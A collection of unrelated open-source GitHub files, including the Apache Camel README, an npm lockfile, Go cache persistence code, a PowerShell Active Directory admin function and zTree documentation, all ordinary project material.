Welcome to Apache Camel =============================================================================== Apache Camel is a powerful open source integration framework based on known Enterprise Integration Patterns with powerful Bean Integration. Camel lets you create the Enterprise Integration Patterns to implement routing and mediation rules in either a Java based Domain Specific Language (or Fluent API), via Spring based Xml Configuration files or via the Scala DSL. This means you get smart completion of routing rules in your IDE whether in your Java, Scala or XML editor. Apache Camel uses URIs so that it can easily work directly with any kind of Transport or messaging model such as HTTP, ActiveMQ, JMS, JBI, SCA, MINA or CXF Bus API together with working with pluggable Data Format options. Apache Camel is a small library which has minimal dependencies for easy embedding in any Java application. Apache Camel lets you work with the same API regardless which kind of Transport used, so learn the API once and you will be able to interact with all the Components that is provided out-of-the-box. Apache Camel has powerful Bean Binding and integrated seamless with popular frameworks such as Spring, CDI and Blueprint. Apache Camel has extensive Testing support allowing you to easily unit test your routes. Apache Camel can be used as a routing and mediation engine for the following projects: * Apache ServiceMix which is the most popular and powerful distributed open source ESB, JBI and OSGi container * Apache ActiveMQ which is the most popular and powerful open source message broker * Apache CXF which is a smart web services suite (JAX-WS and JAX-RS) * Apache MINA a networking framework Getting Started =============================================================================== To help you get started, try the following links: Getting Started http://camel.apache.org/getting-started.html Building http://camel.apache.org/building.html We welcome contributions of all kinds, for details of how you can help http://camel.apache.org/contributing.html Please refer to the website for details of finding the issue tracker, email lists, wiki or IRC channel http://camel.apache.org/ If you hit any problems please talk to us on the Camel Forums http://camel.apache.org/discussion-forums.html Please help us make Apache Camel better - we appreciate any feedback you may have. Enjoy! ----------------- The Camel riders! Licensing =============================================================================== This software is licensed under the terms you may find in the file named "LICENSE.txt" in this directory. This distribution includes cryptographic software. The country in which you currently reside may have restrictions on the import, possession, use, and/or re-export to another country, of encryption software. BEFORE using any encryption software, please check your country's laws, regulations and policies concerning the import, possession, or use, and re-export of encryption software, to see if this is permitted. See <http://www.wassenaar.org/> for more information. The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric algorithms. The form and manner of this Apache Software Foundation distribution makes it eligible for export under the License Exception ENC Technology Software Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for both object code and source code. The following provides more details on the included cryptographic software: * camel-ahc can be configured to use https * camel-crypto can be used for secure communications * camel-crypto-cms can be used for secure communications * camel-cxf can be configured for secure communications * camel-ftp can be configured for secure communications * camel-http can be configured to use https * camel-jasypt can be used for secure communications * camel-jetty can be configured to use https * camel-mail can be configured for secure communications * camel-nagios can be configured for secure communications * camel-netty-http can be configured to use https * camel-undertow can be configured to use https * camel-xmlsecurity can be configured for secure communications
{ "pile_set_name": "Github" }
package org.itstack.test; /** * 博 客:http://bugstack.cn * 公众号:bugstack虫洞栈 | 沉淀、分享、成长,让自己和他人都能有所收获! * create by 小傅哥 on @2020 */ public class ApiTest { public static void main(String[] args) { System.out.println("hi"); } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- Copyright (C) 2013 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <translate xmlns:android="http://schemas.android.com/apk/res/android" android:interpolator="@android:anim/decelerate_interpolator" android:fromYDelta="-50%p" android:toYDelta="0" android:duration="@android:integer/config_mediumAnimTime"/><!-- From: file:/usr/local/google/buildbot/repo_clients/https___googleplex-android.googlesource.com_a_platform_manifest.git/lmp-mr1-supportlib-release/frameworks/support/v7/appcompat/res/anim/abc_slide_in_top.xml -->
{ "pile_set_name": "Github" }
[remap] importer="texture" type="StreamTexture" path="res://.import/green5.png-500ace4771207ac9d383aef7efaf081f.stex" metadata={ "vram_texture": false } [deps] source_file="res://graphics/images/terrain/grass/green5.png" dest_files=[ "res://.import/green5.png-500ace4771207ac9d383aef7efaf081f.stex" ] [params] compress/mode=0 compress/lossy_quality=0.7 compress/hdr_mode=0 compress/bptc_ldr=0 compress/normal_map=0 flags/repeat=0 flags/filter=false flags/mipmaps=false flags/anisotropic=false flags/srgb=2 process/fix_alpha_border=true process/premult_alpha=false process/HDR_as_SRGB=false process/invert_color=false stream=false size_limit=0 detect_3d=false svg/scale=1.0
{ "pile_set_name": "Github" }
{ "requires": true, "lockfileVersion": 1, "dependencies": { "@babel/helper-module-imports": { "version": "7.0.0-beta.32", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0-beta.32.tgz", "integrity": "sha512-9jxfqCBrwCIa0p5ZIy1sakzKKm8x8tn0C52qpPr0M0WJ/k9gpD4ilS/mTV2v0tgmw4agjYdUXQ8slq51/5oOzQ==", "requires": { "@babel/types": "7.0.0-beta.32", "lodash": "4.17.4" } }, "@babel/types": { "version": "7.0.0-beta.32", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.0.0-beta.32.tgz", "integrity": "sha512-w8+wzVcYCMb9OfaBfay2Vg5hyj7UfBX6qQtA+kB0qsW1h1NH/7xHMwvTZNqkuFBwjz5wxGS2QmaIcC3HH+UoxA==", "requires": { "esutils": "2.0.2", "lodash": "4.17.4", "to-fast-properties": "2.0.0" } }, "abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==" }, "argparse": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.9.tgz", "integrity": "sha1-c9g7wmP4bpf4zE9rrhsOkKfSLIY=", "requires": { "sprintf-js": "1.0.3" } }, "babel-macros": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/babel-macros/-/babel-macros-1.2.0.tgz", "integrity": "sha512-/GIwkOeNHQU9R27Bkt0jHrJgaXBX5KLKrIH5h/iGebvKppvL9e4wKCgrl4qwUj0qssBHQFeSavk3lG2lQgdq8w==", "requires": { "cosmiconfig": "3.1.0" } }, "babel-plugin-emotion": { "version": "8.0.12", "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-8.0.12.tgz", "integrity": "sha512-GVxl6Y86I2PPICtFqabf5qvcVc0MD8PJbLujJ9UV1tdC5QoKMe+dZD0DCpdTDEzlOJVwetMu7m+bg66NeGi49w==", "requires": { "@babel/helper-module-imports": "7.0.0-beta.32", "babel-macros": "1.2.0", "babel-plugin-syntax-jsx": "6.18.0", "convert-source-map": "1.5.1", "emotion-utils": "8.0.12", "find-root": "1.1.0", "source-map": "0.5.7", "touch": "1.0.0" } }, "babel-plugin-syntax-jsx": { "version": "6.18.0", "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=" }, "convert-source-map": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=" }, "cosmiconfig": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-3.1.0.tgz", "integrity": "sha512-zedsBhLSbPBms+kE7AH4vHg6JsKDz6epSv2/+5XHs8ILHlgDciSJfSWf8sX9aQ52Jb7KI7VswUTsLpR/G0cr2Q==", "requires": { "is-directory": "0.3.1", "js-yaml": "3.10.0", "parse-json": "3.0.0", "require-from-string": "2.0.1" } }, "emotion": { "version": "8.0.12", "resolved": "https://registry.npmjs.org/emotion/-/emotion-8.0.12.tgz", "integrity": "sha512-WwPA6wrFo/Rwkcmn3ptO8Bpjob1lgRtBl4KJxagfQ+ExwnIryql3JNNwQX6TvJvlLxQm5ByrG71PZbKode1hpw==", "requires": { "babel-plugin-emotion": "8.0.12", "emotion-utils": "8.0.12", "stylis": "3.4.8", "stylis-rule-sheet": "0.0.5" } }, "emotion-utils": { "version": "8.0.12", "resolved": "https://registry.npmjs.org/emotion-utils/-/emotion-utils-8.0.12.tgz", "integrity": "sha512-rEW3CSWnSh+7yD9sF9aniSCQFVDGG+iW7vM/0LpaavmtK3by8hG7cAcr5cMISQf4MxAFwv0nijZMSR5Fftjw+A==" }, "error-ex": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.1.tgz", "integrity": "sha1-+FWobOYa3E6GIcPNoh56dhLDqNw=", "requires": { "is-arrayish": "0.2.1" } }, "esprima": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.0.tgz", "integrity": "sha512-oftTcaMu/EGrEIu904mWteKIv8vMuOgGYo7EhVJJN00R/EED9DCua/xxHRdYnKtcECzVg7xOWhflvJMnqcFZjw==" }, "esutils": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=" }, "find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" }, "is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, "is-directory": { "version": "0.3.1", "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz", "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=" }, "js-yaml": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.10.0.tgz", "integrity": "sha512-O2v52ffjLa9VeM43J4XocZE//WT9N0IiwDa3KSHH7Tu8CtH+1qM8SIZvnsTh6v+4yFy5KUY3BHUVwjpfAWsjIA==", "requires": { "argparse": "1.0.9", "esprima": "4.0.0" } }, "lodash": { "version": "4.17.4", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.4.tgz", "integrity": "sha1-eCA6TRwyiuHYbcpkYONptX9AVa4=" }, "nopt": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz", "integrity": "sha1-bd0hvSoxQXuScn3Vhfim83YI6+4=", "requires": { "abbrev": "1.1.1" } }, "parse-json": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-3.0.0.tgz", "integrity": "sha1-+m9HsY4jgm6tMvJj50TQ4ehH+xM=", "requires": { "error-ex": "1.3.1" } }, "react-emotion": { "version": "8.0.12", "resolved": "https://registry.npmjs.org/react-emotion/-/react-emotion-8.0.12.tgz", "integrity": "sha512-shGa+uer+Ng1uRwqkdVIYW5zsxx4/kc5za8zRMhrTaGJCpU3uwQsdMpmX2kF4chJZvRsfxW+2cBue3EnJeX5zw==", "requires": { "babel-plugin-emotion": "8.0.12", "emotion-utils": "8.0.12" } }, "require-from-string": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.1.tgz", "integrity": "sha1-xUUjPp19pmFunVmt+zn8n1iGdv8=" }, "source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" }, "stylis": { "version": "3.4.8", "resolved": "https://registry.npmjs.org/stylis/-/stylis-3.4.8.tgz", "integrity": "sha512-RVhA1z8dOpHP3hr5B//LrGQzh9sz6Merg4GuOJQu8ZxHP9GmR+cDE6LHkL6l76ASY8pfnsWa1ycjZKjSN2NvLA==" }, "stylis-rule-sheet": { "version": "0.0.5", "resolved": "https://registry.npmjs.org/stylis-rule-sheet/-/stylis-rule-sheet-0.0.5.tgz", "integrity": "sha512-d1i8CktqcZI8oR239dRh/tZmWRxje/WR8rTAiXcN+oJehNhSD8OIYObP34qPdlOn37iu1ysBEm186WIRKpUU2w==" }, "to-fast-properties": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=" }, "touch": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/touch/-/touch-1.0.0.tgz", "integrity": "sha1-RJy+LbrlqMgDjjDXH6D/RklHxN4=", "requires": { "nopt": "1.0.10" } } } }
{ "pile_set_name": "Github" }
package fastcache import ( "encoding/binary" "fmt" "io" "io/ioutil" "os" "path/filepath" "regexp" "runtime" "github.com/golang/snappy" ) // SaveToFile atomically saves cache data to the given filePath using a single // CPU core. // // SaveToFile may be called concurrently with other operations on the cache. // // The saved data may be loaded with LoadFromFile*. // // See also SaveToFileConcurrent for faster saving to file. func (c *Cache) SaveToFile(filePath string) error { return c.SaveToFileConcurrent(filePath, 1) } // SaveToFileConcurrent saves cache data to the given filePath using concurrency // CPU cores. // // SaveToFileConcurrent may be called concurrently with other operations // on the cache. // // The saved data may be loaded with LoadFromFile*. // // See also SaveToFile. func (c *Cache) SaveToFileConcurrent(filePath string, concurrency int) error { // Create dir if it doesn't exist. dir := filepath.Dir(filePath) if _, err := os.Stat(dir); err != nil { if !os.IsNotExist(err) { return fmt.Errorf("cannot stat %q: %s", dir, err) } if err := os.MkdirAll(dir, 0755); err != nil { return fmt.Errorf("cannot create dir %q: %s", dir, err) } } // Save cache data into a temporary directory. tmpDir, err := ioutil.TempDir(dir, "fastcache.tmp.") if err != nil { return fmt.Errorf("cannot create temporary dir inside %q: %s", dir, err) } defer func() { if tmpDir != "" { _ = os.RemoveAll(tmpDir) } }() gomaxprocs := runtime.GOMAXPROCS(-1) if concurrency <= 0 || concurrency > gomaxprocs { concurrency = gomaxprocs } if err := c.save(tmpDir, concurrency); err != nil { return fmt.Errorf("cannot save cache data to temporary dir %q: %s", tmpDir, err) } // Remove old filePath contents, since os.Rename may return // error if filePath dir exists. if err := os.RemoveAll(filePath); err != nil { return fmt.Errorf("cannot remove old contents at %q: %s", filePath, err) } if err := os.Rename(tmpDir, filePath); err != nil { return fmt.Errorf("cannot move temporary dir %q to %q: %s", tmpDir, filePath, err) } tmpDir = "" return nil } // LoadFromFile loads cache data from the given filePath. // // See SaveToFile* for saving cache data to file. func LoadFromFile(filePath string) (*Cache, error) { return load(filePath, 0) } // LoadFromFileOrNew tries loading cache data from the given filePath. // // The function falls back to creating new cache with the given maxBytes // capacity if error occurs during loading the cache from file. func LoadFromFileOrNew(filePath string, maxBytes int) *Cache { c, err := load(filePath, maxBytes) if err == nil { return c } return New(maxBytes) } func (c *Cache) save(dir string, workersCount int) error { if err := saveMetadata(c, dir); err != nil { return err } // Save buckets by workersCount concurrent workers. workCh := make(chan int, workersCount) results := make(chan error) for i := 0; i < workersCount; i++ { go func(workerNum int) { results <- saveBuckets(c.buckets[:], workCh, dir, workerNum) }(i) } // Feed workers with work for i := range c.buckets[:] { workCh <- i } close(workCh) // Read results. var err error for i := 0; i < workersCount; i++ { result := <-results if result != nil && err == nil { err = result } } return err } func load(filePath string, maxBytes int) (*Cache, error) { maxBucketChunks, err := loadMetadata(filePath) if err != nil { return nil, err } if maxBytes > 0 { maxBucketBytes := uint64((maxBytes + bucketsCount - 1) / bucketsCount) expectedBucketChunks := (maxBucketBytes + chunkSize - 1) / chunkSize if maxBucketChunks != expectedBucketChunks { return nil, fmt.Errorf("cache file %s contains maxBytes=%d; want %d", filePath, maxBytes, expectedBucketChunks*chunkSize*bucketsCount) } } // Read bucket files from filePath dir. d, err := os.Open(filePath) if err != nil { return nil, fmt.Errorf("cannot open %q: %s", filePath, err) } defer func() { _ = d.Close() }() fis, err := d.Readdir(-1) if err != nil { return nil, fmt.Errorf("cannot read files from %q: %s", filePath, err) } results := make(chan error) workersCount := 0 var c Cache for _, fi := range fis { fn := fi.Name() if fi.IsDir() || !dataFileRegexp.MatchString(fn) { continue } workersCount++ go func(dataPath string) { results <- loadBuckets(c.buckets[:], dataPath, maxBucketChunks) }(filePath + "/" + fn) } err = nil for i := 0; i < workersCount; i++ { result := <-results if result != nil && err == nil { err = result } } if err != nil { return nil, err } // Initialize buckets, which could be missing due to incomplete or corrupted files in the cache. // It is better initializing such buckets instead of returning error, since the rest of buckets // contain valid data. for i := range c.buckets[:] { b := &c.buckets[i] if len(b.chunks) == 0 { b.chunks = make([][]byte, maxBucketChunks) b.m = make(map[uint64]uint64) } } return &c, nil } func saveMetadata(c *Cache, dir string) error { metadataPath := dir + "/metadata.bin" metadataFile, err := os.Create(metadataPath) if err != nil { return fmt.Errorf("cannot create %q: %s", metadataPath, err) } defer func() { _ = metadataFile.Close() }() maxBucketChunks := uint64(cap(c.buckets[0].chunks)) if err := writeUint64(metadataFile, maxBucketChunks); err != nil { return fmt.Errorf("cannot write maxBucketChunks=%d to %q: %s", maxBucketChunks, metadataPath, err) } return nil } func loadMetadata(dir string) (uint64, error) { metadataPath := dir + "/metadata.bin" metadataFile, err := os.Open(metadataPath) if err != nil { return 0, fmt.Errorf("cannot open %q: %s", metadataPath, err) } defer func() { _ = metadataFile.Close() }() maxBucketChunks, err := readUint64(metadataFile) if err != nil { return 0, fmt.Errorf("cannot read maxBucketChunks from %q: %s", metadataPath, err) } if maxBucketChunks == 0 { return 0, fmt.Errorf("invalid maxBucketChunks=0 read from %q", metadataPath) } return maxBucketChunks, nil } var dataFileRegexp = regexp.MustCompile(`^data\.\d+\.bin$`) func saveBuckets(buckets []bucket, workCh <-chan int, dir string, workerNum int) error { dataPath := fmt.Sprintf("%s/data.%d.bin", dir, workerNum) dataFile, err := os.Create(dataPath) if err != nil { return fmt.Errorf("cannot create %q: %s", dataPath, err) } defer func() { _ = dataFile.Close() }() zw := snappy.NewBufferedWriter(dataFile) for bucketNum := range workCh { if err := writeUint64(zw, uint64(bucketNum)); err != nil { return fmt.Errorf("cannot write bucketNum=%d to %q: %s", bucketNum, dataPath, err) } if err := buckets[bucketNum].Save(zw); err != nil { return fmt.Errorf("cannot save bucket[%d] to %q: %s", bucketNum, dataPath, err) } } if err := zw.Close(); err != nil { return fmt.Errorf("cannot close snappy.Writer for %q: %s", dataPath, err) } return nil } func loadBuckets(buckets []bucket, dataPath string, maxChunks uint64) error { dataFile, err := os.Open(dataPath) if err != nil { return fmt.Errorf("cannot open %q: %s", dataPath, err) } defer func() { _ = dataFile.Close() }() zr := snappy.NewReader(dataFile) for { bucketNum, err := readUint64(zr) if err == io.EOF { // Reached the end of file. return nil } if bucketNum >= uint64(len(buckets)) { return fmt.Errorf("unexpected bucketNum read from %q: %d; must be smaller than %d", dataPath, bucketNum, len(buckets)) } if err := buckets[bucketNum].Load(zr, maxChunks); err != nil { return fmt.Errorf("cannot load bucket[%d] from %q: %s", bucketNum, dataPath, err) } } } func (b *bucket) Save(w io.Writer) error { b.Clean() b.mu.RLock() defer b.mu.RUnlock() // Store b.idx, b.gen and b.m to w. bIdx := b.idx bGen := b.gen chunksLen := 0 for _, chunk := range b.chunks { if chunk == nil { break } chunksLen++ } kvs := make([]byte, 0, 2*8*len(b.m)) var u64Buf [8]byte for k, v := range b.m { binary.LittleEndian.PutUint64(u64Buf[:], k) kvs = append(kvs, u64Buf[:]...) binary.LittleEndian.PutUint64(u64Buf[:], v) kvs = append(kvs, u64Buf[:]...) } if err := writeUint64(w, bIdx); err != nil { return fmt.Errorf("cannot write b.idx: %s", err) } if err := writeUint64(w, bGen); err != nil { return fmt.Errorf("cannot write b.gen: %s", err) } if err := writeUint64(w, uint64(len(kvs))/2/8); err != nil { return fmt.Errorf("cannot write len(b.m): %s", err) } if _, err := w.Write(kvs); err != nil { return fmt.Errorf("cannot write b.m: %s", err) } // Store b.chunks to w. if err := writeUint64(w, uint64(chunksLen)); err != nil { return fmt.Errorf("cannot write len(b.chunks): %s", err) } for chunkIdx := 0; chunkIdx < chunksLen; chunkIdx++ { chunk := b.chunks[chunkIdx][:chunkSize] if _, err := w.Write(chunk); err != nil { return fmt.Errorf("cannot write b.chunks[%d]: %s", chunkIdx, err) } } return nil } func (b *bucket) Load(r io.Reader, maxChunks uint64) error { if maxChunks == 0 { return fmt.Errorf("the number of chunks per bucket cannot be zero") } bIdx, err := readUint64(r) if err != nil { return fmt.Errorf("cannot read b.idx: %s", err) } bGen, err := readUint64(r) if err != nil { return fmt.Errorf("cannot read b.gen: %s", err) } kvsLen, err := readUint64(r) if err != nil { return fmt.Errorf("cannot read len(b.m): %s", err) } kvsLen *= 2 * 8 kvs := make([]byte, kvsLen) if _, err := io.ReadFull(r, kvs); err != nil { return fmt.Errorf("cannot read b.m: %s", err) } m := make(map[uint64]uint64, kvsLen/2/8) for len(kvs) > 0 { k := binary.LittleEndian.Uint64(kvs) kvs = kvs[8:] v := binary.LittleEndian.Uint64(kvs) kvs = kvs[8:] m[k] = v } maxBytes := maxChunks * chunkSize if maxBytes >= maxBucketSize { return fmt.Errorf("too big maxBytes=%d; should be smaller than %d", maxBytes, maxBucketSize) } chunks := make([][]byte, maxChunks) chunksLen, err := readUint64(r) if err != nil { return fmt.Errorf("cannot read len(b.chunks): %s", err) } if chunksLen > uint64(maxChunks) { return fmt.Errorf("chunksLen=%d cannot exceed maxChunks=%d", chunksLen, maxChunks) } currChunkIdx := bIdx / chunkSize if currChunkIdx > 0 && currChunkIdx >= chunksLen { return fmt.Errorf("too big bIdx=%d; should be smaller than %d", bIdx, chunksLen*chunkSize) } for chunkIdx := uint64(0); chunkIdx < chunksLen; chunkIdx++ { chunk := getChunk() chunks[chunkIdx] = chunk if _, err := io.ReadFull(r, chunk); err != nil { // Free up allocated chunks before returning the error. for _, chunk := range chunks { if chunk != nil { putChunk(chunk) } } return fmt.Errorf("cannot read b.chunks[%d]: %s", chunkIdx, err) } } // Adjust len for the chunk pointed by currChunkIdx. if chunksLen > 0 { chunkLen := bIdx % chunkSize chunks[currChunkIdx] = chunks[currChunkIdx][:chunkLen] } b.mu.Lock() for _, chunk := range b.chunks { putChunk(chunk) } b.chunks = chunks b.m = m b.idx = bIdx b.gen = bGen b.mu.Unlock() return nil } func writeUint64(w io.Writer, u uint64) error { var u64Buf [8]byte binary.LittleEndian.PutUint64(u64Buf[:], u) _, err := w.Write(u64Buf[:]) return err } func readUint64(r io.Reader) (uint64, error) { var u64Buf [8]byte if _, err := io.ReadFull(r, u64Buf[:]); err != nil { return 0, err } u := binary.LittleEndian.Uint64(u64Buf[:]) return u, nil }
{ "pile_set_name": "Github" }
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const base64VLQ = require("./base64-vlq"); const SourceNode = require("./SourceNode"); const CodeNode = require("./CodeNode"); const SourceListMap = require("./SourceListMap"); module.exports = function fromStringWithSourceMap(code, map) { const sources = map.sources; const sourcesContent = map.sourcesContent; const mappings = map.mappings.split(";"); const lines = code.split("\n"); const nodes = []; let currentNode = null; let currentLine = 1; let currentSourceIdx = 0; let currentSourceNodeLine; mappings.forEach(function(mapping, idx) { let line = lines[idx]; if(typeof line === 'undefined') return; if(idx !== lines.length - 1) line += "\n"; if(!mapping) return addCode(line); mapping = { value: 0, rest: mapping }; let lineAdded = false; while(mapping.rest) lineAdded = processMapping(mapping, line, lineAdded) || lineAdded; if(!lineAdded) addCode(line); }); if(mappings.length < lines.length) { let idx = mappings.length; while(!lines[idx].trim() && idx < lines.length-1) { addCode(lines[idx] + "\n"); idx++; } addCode(lines.slice(idx).join("\n")); } return new SourceListMap(nodes); function processMapping(mapping, line, ignore) { if(mapping.rest && mapping.rest[0] !== ",") { base64VLQ.decode(mapping.rest, mapping); } if(!mapping.rest) return false; if(mapping.rest[0] === ",") { mapping.rest = mapping.rest.substr(1); return false; } base64VLQ.decode(mapping.rest, mapping); const sourceIdx = mapping.value + currentSourceIdx; currentSourceIdx = sourceIdx; let linePosition; if(mapping.rest && mapping.rest[0] !== ",") { base64VLQ.decode(mapping.rest, mapping); linePosition = mapping.value + currentLine; currentLine = linePosition; } else { linePosition = currentLine; } if(mapping.rest) { const next = mapping.rest.indexOf(","); mapping.rest = next === -1 ? "" : mapping.rest.substr(next); } if(!ignore) { addSource(line, sources ? sources[sourceIdx] : null, sourcesContent ? sourcesContent[sourceIdx] : null, linePosition) return true; } } function addCode(generatedCode) { if(currentNode && currentNode instanceof CodeNode) { currentNode.addGeneratedCode(generatedCode); } else if(currentNode && currentNode instanceof SourceNode && !generatedCode.trim()) { currentNode.addGeneratedCode(generatedCode); currentSourceNodeLine++; } else { currentNode = new CodeNode(generatedCode); nodes.push(currentNode); } } function addSource(generatedCode, source, originalSource, linePosition) { if(currentNode && currentNode instanceof SourceNode && currentNode.source === source && currentSourceNodeLine === linePosition ) { currentNode.addGeneratedCode(generatedCode); currentSourceNodeLine++; } else { currentNode = new SourceNode(generatedCode, source, originalSource, linePosition); currentSourceNodeLine = linePosition + 1; nodes.push(currentNode); } } };
{ "pile_set_name": "Github" }
function Enable-ADSIDomainControllerGlobalCatalog { <# .SYNOPSIS Function to enable the Global Catalog role on a Domain Controller .DESCRIPTION Function to enable the Global Catalog role on a Domain Controller .PARAMETER ComputerName Specifies the Domain Controller .PARAMETER Credential Specifies alternate credentials to use. Use Get-Credential to create proper credentials. .EXAMPLE Enable-ADSIDomainControllerGlobalCatalog -ComputerName dc1.ad.local Connects to remote domain controller dc1.ad.local using current credentials and enable the GC role. .EXAMPLE Enable-ADSIDomainControllerGlobalCatalog -ComputerName dc2.ad.local -Credential (Get-Credential SuperAdmin) Connects to remote domain controller dc2.ad.local using SuperAdmin credentials and enable the GC role. .NOTES https://github.com/lazywinadmin/ADSIPS Version History 1.0 Initial Version (Micky Balladelli) 1.1 Update (Francois-Xavier Cat) Rename from Enable-ADSIReplicaGC to Enable-ADSIDomainControllerGlobalCatalog Add New-ADSIDirectoryContext to take care of the Context Other minor modifications #> [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string]$ComputerName, [Alias("RunAs")] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty ) process { try { $Context = New-ADSIDirectoryContext -ContextType 'DirectoryServer' @PSBoundParameters $DomainController = [System.DirectoryServices.ActiveDirectory.DomainController]::GetDomainController($context) if ($DomainController.IsGlobalCatalog()) { Write-Verbose -Message "[Enable-ADSIDomainControllerGlobalCatalog][PROCESS] $($DomainController.name) is already a Global Catalog" } else { Write-Verbose -Message "[Enable-ADSIDomainControllerGlobalCatalog][PROCESS] $($DomainController.name) Enabling Global Catalog ..." $DomainController.EnableGlobalCatalog() } Write-Verbose -Message "[Enable-ADSIDomainControllerGlobalCatalog][PROCESS] $($DomainController.name) Done." } catch { Write-Error -Message "[Enable-ADSIDomainControllerGlobalCatalog][PROCESS] Something wrong happened" $pscmdlet.ThrowTerminatingError($_) } } }
{ "pile_set_name": "Github" }
<div class="apiDetail"> <div> <h2><span>Function(event, treeId, treeNode)</span><span class="path">setting.callback.</span>onExpand</h2> <h3>概述<span class="h3_info">[ 依赖 <span class="highlight_green">jquery.ztree.core</span> 核心 js ]</span></h3> <div class="desc"> <p></p> <div class="longdesc"> <p>用于捕获节点被展开的事件回调函数</p> <p class="highlight_red">如果设置了 setting.callback.beforeExpand 方法,且返回 false,将无法触发 onExpand 事件回调函数。</p> <p>默认值:null</p> </div> </div> <h3>Function 参数说明</h3> <div class="desc"> <h4><b>event</b><span>js event 对象</span></h4> <p>标准的 js event 对象</p> <h4 class="topLine"><b>treeId</b><span>String</span></h4> <p>对应 zTree 的 <b class="highlight_red">treeId</b>,便于用户操控</p> <h4 class="topLine"><b>treeNode</b><span>JSON</span></h4> <p>被展开的节点 JSON 数据对象</p> </div> <h3>setting & function 举例</h3> <h4>1. 每次展开节点后, 弹出该节点的 tId、name 的信息</h4> <pre xmlns=""><code>function zTreeOnExpand(event, treeId, treeNode) { alert(treeNode.tId + ", " + treeNode.name); }; var setting = { callback: { onExpand: zTreeOnExpand } }; ......</code></pre> </div> </div>
{ "pile_set_name": "Github" }
'use strict'; var path = require('path'); var pathExists = require('path-exists'); var Promise = require('pinkie-promise'); function splitPath(x) { return path.resolve(x || '').split(path.sep); } function join(parts, filename) { return path.resolve(parts.join(path.sep) + path.sep, filename); } module.exports = function (filename, opts) { opts = opts || {}; var parts = splitPath(opts.cwd); return new Promise(function (resolve) { (function find() { var fp = join(parts, filename); pathExists(fp).then(function (exists) { if (exists) { resolve(fp); } else if (parts.pop()) { find(); } else { resolve(null); } }); })(); }); }; module.exports.sync = function (filename, opts) { opts = opts || {}; var parts = splitPath(opts.cwd); var len = parts.length; while (len--) { var fp = join(parts, filename); if (pathExists.sync(fp)) { return fp; } parts.pop(); } return null; };
{ "pile_set_name": "Github" }
